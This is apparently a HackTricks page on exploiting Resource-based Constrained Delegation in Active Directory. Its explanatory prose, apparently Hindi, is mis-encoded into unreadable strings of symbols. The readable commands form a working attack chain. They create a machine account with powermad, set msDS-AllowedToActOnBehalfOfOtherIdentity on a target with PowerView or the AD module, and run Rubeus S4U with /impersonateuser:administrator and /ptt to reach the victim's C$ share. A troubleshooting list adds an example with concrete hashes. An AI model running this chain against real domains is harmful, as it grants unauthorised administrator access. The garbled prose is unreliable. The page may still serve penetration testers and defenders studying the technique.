Resource-based Constrained Delegation

Support HackTricks

Basics of Resource-based Constrained Delegation

рдпрд╣ рдореВрд▓ Constrained Delegation рдХреЗ рд╕рдорд╛рди рд╣реИ рд▓реЗрдХрд┐рди рдЗрд╕рдХреЗ рдмрдЬрд╛рдп рдХрд┐рд╕реА рдСрдмреНрдЬреЗрдХреНрдЯ рдХреЛ рдХрд┐рд╕реА рд╕реЗрд╡рд╛ рдХреЗ рдЦрд┐рд▓рд╛рдл рдХрд┐рд╕реА рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд╛ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдиреБрдорддрд┐рдпрд╛рдБ рджреЗрдиреЗ рдХреЗред Resource-based Constrained Delegation рдЙрд╕ рдСрдмреНрдЬреЗрдХреНрдЯ рдореЗрдВ рд╕реЗрдЯ рдХрд░рддрд╛ рд╣реИ рдЬреЛ рдЗрд╕рдХреЗ рдЦрд┐рд▓рд╛рдл рдХрд┐рд╕реА рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд╛ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХрд░ рд╕рдХрддрд╛ рд╣реИред

рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ, рд╕реАрдорд┐рдд рдСрдмреНрдЬреЗрдХреНрдЯ рдореЗрдВ msDS-AllowedToActOnBehalfOfOtherIdentity рдирд╛рдордХ рдПрдХ рд╡рд┐рд╢реЗрд╖рддрд╛ рд╣реЛрдЧреА рдЬрд┐рд╕рдореЗрдВ рдЙрд╕ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд╛ рдирд╛рдо рд╣реЛрдЧрд╛ рдЬреЛ рдЗрд╕рдХреЗ рдЦрд┐рд▓рд╛рдл рдХрд┐рд╕реА рдЕрдиреНрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд╛ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХрд░ рд╕рдХрддрд╛ рд╣реИред

рдЗрд╕ Constrained Delegation рдФрд░ рдЕрдиреНрдп рдбреЗрд▓реАрдЧреЗрд╢рдиреЛрдВ рдХреЗ рдмреАрдЪ рдПрдХ рдФрд░ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдЕрдВрддрд░ рдпрд╣ рд╣реИ рдХрд┐ рдХрд┐рд╕реА рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдкрд╛рд╕ рдПрдХ рдорд╢реАрди рдЦрд╛рддреЗ рдкрд░ рд▓рд┐рдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдиреБрдорддрд┐рдпрд╛рдБ (GenericAll/GenericWrite/WriteDacl/WriteProperty/etc) рд╣реЛ рд╕рдХрддреА рд╣реИрдВ рдЬреЛ msDS-AllowedToActOnBehalfOfOtherIdentity рд╕реЗрдЯ рдХрд░ рд╕рдХрддрд╛ рд╣реИ (рдЕрдиреНрдп рдбреЗрд▓реАрдЧреЗрд╢рди рдХреЗ рд░реВрдкреЛрдВ рдореЗрдВ рдЖрдкрдХреЛ рдбреЛрдореЗрди рдкреНрд░рд╢рд╛рд╕рдХ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдереА)ред

New Concepts

Constrained Delegation рдореЗрдВ рдХрд╣рд╛ рдЧрдпрд╛ рдерд╛ рдХрд┐ TrustedToAuthForDelegation рдзреНрд╡рдЬ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ userAccountControl рдорд╛рди рдХреЗ рдЕрдВрджрд░ S4U2Self рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рд╣реИред рд▓реЗрдХрд┐рди рдпрд╣ рдкреВрд░реА рддрд░рд╣ рд╕реЗ рд╕рдЪ рдирд╣реАрдВ рд╣реИред рд╡рд╛рд╕реНрддрд╡рд┐рдХрддрд╛ рдпрд╣ рд╣реИ рдХрд┐ рднрд▓реЗ рд╣реА рдЙрд╕ рдорд╛рди рдХреЗ рдмрд┐рдирд╛, рдЖрдк рдХрд┐рд╕реА рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдЦрд┐рд▓рд╛рдл S4U2Self рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдпрджрд┐ рдЖрдк рдПрдХ рд╕реЗрд╡рд╛ рд╣реИрдВ (рдПрдХ SPN рд╣реИ) рд▓реЗрдХрд┐рди, рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ TrustedToAuthForDelegation рд╣реИ рддреЛ рд▓реМрдЯрд╛рдпрд╛ рдЧрдпрд╛ TGS Forwardable рд╣реЛрдЧрд╛ рдФрд░ рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ рд╡рд╣ рдзреНрд╡рдЬ рдирд╣реАрдВ рд╣реИ рддреЛ рд▓реМрдЯрд╛рдпрд╛ рдЧрдпрд╛ TGS Forwardable рдирд╣реАрдВ рд╣реЛрдЧрд╛ред

рд╣рд╛рд▓рд╛рдВрдХрд┐, рдпрджрд┐ S4U2Proxy рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЧрдпрд╛ TGS Forwardable рдирд╣реАрдВ рд╣реИ рддреЛ рдмреБрдирд┐рдпрд╛рджреА Constrain Delegation рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рдирд╛ рдХрд╛рдо рдирд╣реАрдВ рдХрд░реЗрдЧрд╛ред рд▓реЗрдХрд┐рди рдпрджрд┐ рдЖрдк Resource-Based constrain delegation рдХрд╛ рд╢реЛрд╖рдг рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд░рд╣реЗ рд╣реИрдВ, рддреЛ рдпрд╣ рдХрд╛рдо рдХрд░реЗрдЧрд╛ (рдпрд╣ рдПрдХ рднреЗрджреНрдпрддрд╛ рдирд╣реАрдВ рд╣реИ, рдпрд╣ рдПрдХ рд╡рд┐рд╢реЗрд╖рддрд╛ рд╣реИ, рд╕реНрдкрд╖реНрдЯ рд░реВрдк рд╕реЗ)ред

Attack structure

рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ рдХрдВрдкреНрдпреВрдЯрд░ рдЦрд╛рддреЗ рдкрд░ рд▓рд┐рдЦрдиреЗ рдХреЗ рд╕рдордХрдХреНрд╖ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╣реИрдВ рддреЛ рдЖрдк рдЙрд╕ рдорд╢реАрди рдореЗрдВ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рдкрд╣реБрдВрдЪ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

рдорд╛рди рд▓реАрдЬрд┐рдП рдХрд┐ рд╣рдорд▓рд╛рд╡рд░ рдХреЗ рдкрд╛рд╕ рдкрд╣рд▓реЗ рд╕реЗ рд╣реА рд╢рд┐рдХрд╛рд░ рдХрдВрдкреНрдпреВрдЯрд░ рдкрд░ рд▓рд┐рдЦрдиреЗ рдХреЗ рд╕рдордХрдХреНрд╖ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╣реИрдВред

  1. рд╣рдорд▓рд╛рд╡рд░ рдПрдХ рдЦрд╛рддреЗ рдХреЛ рд╕рдордЭреМрддрд╛ рдХрд░рддрд╛ рд╣реИ рдЬрд┐рд╕рдореЗрдВ рдПрдХ SPN рд╣реИ рдпрд╛ рдПрдХ рдмрдирд╛рддрд╛ рд╣реИ (тАЬService AтАЭ)ред рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдХреЛрдИ рднреА Admin User рдмрд┐рдирд╛ рдХрд┐рд╕реА рдЕрдиреНрдп рд╡рд┐рд╢реЗрд╖ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдХреЗ 10 рддрдХ рдХрдВрдкреНрдпреВрдЯрд░ рдСрдмреНрдЬреЗрдХреНрдЯреНрд╕ (MachineAccountQuota) рдмрдирд╛ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдЙрдиреНрд╣реЗрдВ рдПрдХ SPN рд╕реЗрдЯ рдХрд░ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕рд▓рд┐рдП рд╣рдорд▓рд╛рд╡рд░ рдмрд╕ рдПрдХ рдХрдВрдкреНрдпреВрдЯрд░ рдСрдмреНрдЬреЗрдХреНрдЯ рдмрдирд╛ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдПрдХ SPN рд╕реЗрдЯ рдХрд░ рд╕рдХрддрд╛ рд╣реИред

  2. рд╣рдорд▓рд╛рд╡рд░ рд╢рд┐рдХрд╛рд░ рдХрдВрдкреНрдпреВрдЯрд░ (ServiceB) рдкрд░ рдЕрдкрдиреЗ WRITE рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ рддрд╛рдХрд┐ resource-based constrained delegation рдХреЛ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ рддрд╛рдХрд┐ ServiceA рдХрд┐рд╕реА рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд╛ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХрд░ рд╕рдХреЗ рдЙрд╕ рд╢рд┐рдХрд╛рд░ рдХрдВрдкреНрдпреВрдЯрд░ (ServiceB) рдХреЗ рдЦрд┐рд▓рд╛рдлред

  3. рд╣рдорд▓рд╛рд╡рд░ Rubeus рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкреВрд░реНрдг S4U рд╣рдорд▓рд╛ (S4U2Self рдФрд░ S4U2Proxy) Service A рд╕реЗ Service B рдХреЗ рд▓рд┐рдП рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд▓рд┐рдП рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рдкрд╣реБрдВрдЪ рдХреЗ рд╕рд╛рде Service B рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред

  4. S4U2Self (рд╕рдордЭреМрддрд╛/рдмрдирд╛рдП рдЧрдП рдЦрд╛рддреЗ рд╕реЗ SPN): рдореБрдЭрд╕реЗ Administrator рдХрд╛ TGS рдорд╛рдВрдЧреЗрдВ (Forwardable рдирд╣реАрдВ)ред

  5. S4U2Proxy: рдкрд┐рдЫрд▓реЗ рдЪрд░рдг рдХреЗ рдиреЙрди-Forwardable TGS рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ Administrator рд╕реЗ рд╢рд┐рдХрд╛рд░ рд╣реЛрд╕реНрдЯ рдХреЗ рд▓рд┐рдП TGS рдорд╛рдВрдЧреЗрдВред

  6. рднрд▓реЗ рд╣реА рдЖрдк рдПрдХ рдиреЙрди-Forwardable TGS рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣реЗ рд╣реЛрдВ, рдХреНрдпреЛрдВрдХрд┐ рдЖрдк Resource-based constrained delegation рдХрд╛ рд╢реЛрд╖рдг рдХрд░ рд░рд╣реЗ рд╣реИрдВ, рдпрд╣ рдХрд╛рдо рдХрд░реЗрдЧрд╛ред

  7. рд╣рдорд▓рд╛рд╡рд░ рдкрд╛рд╕-рджреА-рдЯрд┐рдХрдЯ рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд╛ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХрд░ рд╕рдХрддрд╛ рд╣реИ рддрд╛рдХрд┐ рд╢рд┐рдХрд╛рд░ ServiceB рддрдХ рдкрд╣реБрдВрдЪ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХреЗред

рдбреЛрдореЗрди рдХреЗ MachineAccountQuota рдХреА рдЬрд╛рдВрдЪ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдк рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

Get-DomainObject -Identity "dc=domain,dc=local" -Domain domain.local | select MachineAccountQuota

рд╣рдорд▓рд╛

рдХрдВрдкреНрдпреВрдЯрд░ рдСрдмреНрдЬреЗрдХреНрдЯ рдмрдирд╛рдирд╛

рдЖрдк powermad** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдбреЛрдореЗрди рдХреЗ рдЕрдВрджрд░ рдПрдХ рдХрдВрдкреНрдпреВрдЯрд░ рдСрдмреНрдЬреЗрдХреНрдЯ рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВ:**

import-module powermad
New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose

# Check if created
Get-DomainComputer SERVICEA

Resource-based Constrained Delegation рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░рдирд╛

activedirectory PowerShell рдореЙрдбреНрдпреВрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛

Set-ADComputer $targetComputer -PrincipalsAllowedToDelegateToAccount SERVICEA$ #Assing delegation privileges
Get-ADComputer $targetComputer -Properties PrincipalsAllowedToDelegateToAccount #Check that it worked

Powerview рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛

$ComputerSid = Get-DomainComputer FAKECOMPUTER -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer $targetComputer | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}

#Check that it worked
Get-DomainComputer $targetComputer -Properties 'msds-allowedtoactonbehalfofotheridentity'

msds-allowedtoactonbehalfofotheridentity
----------------------------------------
{1, 0, 4, 128...}

рдПрдХ рдкреВрд░реНрдг S4U рд╣рдорд▓реЗ рдХрд╛ рдкреНрд░рджрд░реНрд╢рди

рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ, рд╣рдордиреЗ рдирдП рдХрдВрдкреНрдпреВрдЯрд░ рдСрдмреНрдЬреЗрдХреНрдЯ рдХреЛ рдкрд╛рд╕рд╡рд░реНрдб 123456 рдХреЗ рд╕рд╛рде рдмрдирд╛рдпрд╛, рдЗрд╕рд▓рд┐рдП рд╣рдореЗрдВ рдЙрд╕ рдкрд╛рд╕рд╡рд░реНрдб рдХрд╛ рд╣реИрд╢ рдЪрд╛рд╣рд┐рдП:

.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local

рдпрд╣ рдЙрд╕ рдЦрд╛рддреЗ рдХреЗ рд▓рд┐рдП RC4 рдФрд░ AES рд╣реИрд╢ рдкреНрд░рд┐рдВрдЯ рдХрд░реЗрдЧрд╛ред рдЕрдм, рд╣рдорд▓рд╛ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:

rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<aes256 hash> /aes128:<aes128 hash> /rc4:<rc4 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /domain:domain.local /ptt

рдЖрдк Rubeus рдХреЗ /altservice рдкреИрд░рд╛рдореАрдЯрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХреЗрд╡рд▓ рдПрдХ рдмрд╛рд░ рдкреВрдЫрдХрд░ рдЕрдзрд┐рдХ рдЯрд┐рдХрдЯ рдЙрддреНрдкрдиреНрди рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<AES 256 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /altservice:krbtgt,cifs,host,http,winrm,RPCSS,wsman,ldap /domain:domain.local /ptt

рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рдкрд╛рд╕ рдПрдХ рд╡рд┐рд╢реЗрд╖рддрд╛ рд╣реИ рдЬрд┐рд╕реЗ "Cannot be delegated" рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрджрд┐ рдХрд┐рд╕реА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдкрд╛рд╕ рдпрд╣ рд╡рд┐рд╢реЗрд╖рддрд╛ True рд╣реИ, рддреЛ рдЖрдк рдЙрд╕рдХреА рдирдХрд▓ рдирд╣реАрдВ рдХрд░ рдкрд╛рдПрдВрдЧреЗред рдпрд╣ рд╕рдВрдкрддреНрддрд┐ рдмреНрд▓рдбрд╣рд╛рдЙрдВрдб рдХреЗ рдЕрдВрджрд░ рджреЗрдЦреА рдЬрд╛ рд╕рдХрддреА рд╣реИред

Accessing

рдЕрдВрддрд┐рдо рдХрдорд╛рдВрдб рд▓рд╛рдЗрди рдкреВрд░реНрдг S4U рд╣рдорд▓реЗ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдЧреА рдФрд░ рдореЗрдореЛрд░реА рдореЗрдВ Administrator рд╕реЗ рдкреАрдбрд╝рд┐рдд рд╣реЛрд╕реНрдЯ рдкрд░ TGS рдХреЛ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░реЗрдЧреАред рдЗрд╕ рдЙрджрд╛рд╣рд░рдг рдореЗрдВ, Administrator рд╕реЗ CIFS рд╕реЗрд╡рд╛ рдХреЗ рд▓рд┐рдП рдПрдХ TGS рдХрд╛ рдЕрдиреБрд░реЛрдз рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛, рдЗрд╕рд▓рд┐рдП рдЖрдк C$ рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХреЗрдВрдЧреЗ:

ls \\victim.domain.local\C$

рд╡рд┐рднрд┐рдиреНрди рд╕реЗрд╡рд╛ рдЯрд┐рдХрдЯреЛрдВ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ

рдпрд╣рд╛рдВ рдЙрдкрд▓рдмреНрдз рд╕реЗрд╡рд╛ рдЯрд┐рдХрдЯреЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдиреЗрдВред

рдХреЗрд░реНрдмреЗрд░реЛрд╕ рддреНрд░реБрдЯрд┐рдпрд╛рдБ

  • KDC_ERR_ETYPE_NOTSUPP: рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рдХреЗрд░реНрдмреЗрд░реЛрд╕ рдХреЛ DES рдпрд╛ RC4 рдХрд╛ рдЙрдкрдпреЛрдЧ рдирд╣реАрдВ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдФрд░ рдЖрдк рдХреЗрд╡рд▓ RC4 рд╣реИрд╢ рдкреНрд░рджрд╛рди рдХрд░ рд░рд╣реЗ рд╣реИрдВред Rubeus рдХреЛ рдХрдо рд╕реЗ рдХрдо AES256 рд╣реИрд╢ рдкреНрд░рджрд╛рди рдХрд░реЗрдВ (рдпрд╛ рдмрд╕ рдЗрд╕реЗ rc4, aes128 рдФрд░ aes256 рд╣реИрд╢ рдкреНрд░рджрд╛рди рдХрд░реЗрдВ)ред рдЙрджрд╛рд╣рд░рдг: [Rubeus.Program]::MainString("s4u /user:FAKECOMPUTER /aes256:CC648CF0F809EE1AA25C52E963AC0487E87AC32B1F71ACC5304C73BF566268DA /aes128:5FC3D06ED6E8EA2C9BB9CC301EA37AD4 /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:Administrator /msdsspn:CIFS/M3DC.M3C.LOCAL /ptt".split())

  • KRB_AP_ERR_SKEW: рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рд╡рд░реНрддрдорд╛рди рдХрдВрдкреНрдпреВрдЯрд░ рдХрд╛ рд╕рдордп DC рдХреЗ рд╕рдордп рд╕реЗ рдЕрд▓рдЧ рд╣реИ рдФрд░ рдХреЗрд░реНрдмреЗрд░реЛрд╕ рд╕рд╣реА рддрд░реАрдХреЗ рд╕реЗ рдХрд╛рдо рдирд╣реАрдВ рдХрд░ рд░рд╣рд╛ рд╣реИред

  • preauth_failed: рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рджрд┐рдП рдЧрдП рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо + рд╣реИрд╢ рд▓реЙрдЧрд┐рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд╛рдо рдирд╣реАрдВ рдХрд░ рд░рд╣реЗ рд╣реИрдВред рдЖрдк рд╣реИрд╢ рдЙрддреНрдкрдиреНрди рдХрд░рддреЗ рд╕рдордп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо рдХреЗ рдЕрдВрджрд░ "$" рдбрд╛рд▓рдирд╛ рднреВрд▓ рдЧрдП рд╣реЛрдВрдЧреЗ (.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local)

  • KDC_ERR_BADOPTION: рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реЛ рд╕рдХрддрд╛ рд╣реИ:

  • рдЬрд┐рд╕ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд╛ рдЖрдк рдЕрдиреБрдХрд░рдг рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд░рд╣реЗ рд╣реИрдВ, рд╡рд╣ рдЗрдЪреНрдЫрд┐рдд рд╕реЗрд╡рд╛ рддрдХ рдкрд╣реБрдБрдЪ рдирд╣реАрдВ рд╕рдХрддрд╛ (рдХреНрдпреЛрдВрдХрд┐ рдЖрдк рдЗрд╕рдХрд╛ рдЕрдиреБрдХрд░рдг рдирд╣реАрдВ рдХрд░ рд╕рдХрддреЗ рдпрд╛ рдХреНрдпреЛрдВрдХрд┐ рдЗрд╕рдХреЗ рдкрд╛рд╕ рдкрд░реНрдпрд╛рдкреНрдд рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдирд╣реАрдВ рд╣реИрдВ)

  • рдорд╛рдВрдЧреА рдЧрдИ рд╕реЗрд╡рд╛ рдореМрдЬреВрдж рдирд╣реАрдВ рд╣реИ (рдпрджрд┐ рдЖрдк winrm рдХреЗ рд▓рд┐рдП рдПрдХ рдЯрд┐рдХрдЯ рдорд╛рдВрдЧрддреЗ рд╣реИрдВ рд▓реЗрдХрд┐рди winrm рдЪрд▓ рдирд╣реАрдВ рд░рд╣рд╛ рд╣реИ)

  • рдмрдирд╛рдП рдЧрдП fakecomputer рдиреЗ рдХрдордЬреЛрд░ рд╕рд░реНрд╡рд░ рдкрд░ рдЕрдкрдиреЗ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдЦреЛ рджрд┐рдП рд╣реИрдВ рдФрд░ рдЖрдкрдХреЛ рдЙрдиреНрд╣реЗрдВ рд╡рд╛рдкрд╕ рджреЗрдирд╛ рд╣реЛрдЧрд╛ред

рд╕рдВрджрд░реНрдн

HackTricks рдХрд╛ рд╕рдорд░реНрдерди рдХрд░реЗрдВ

Last updated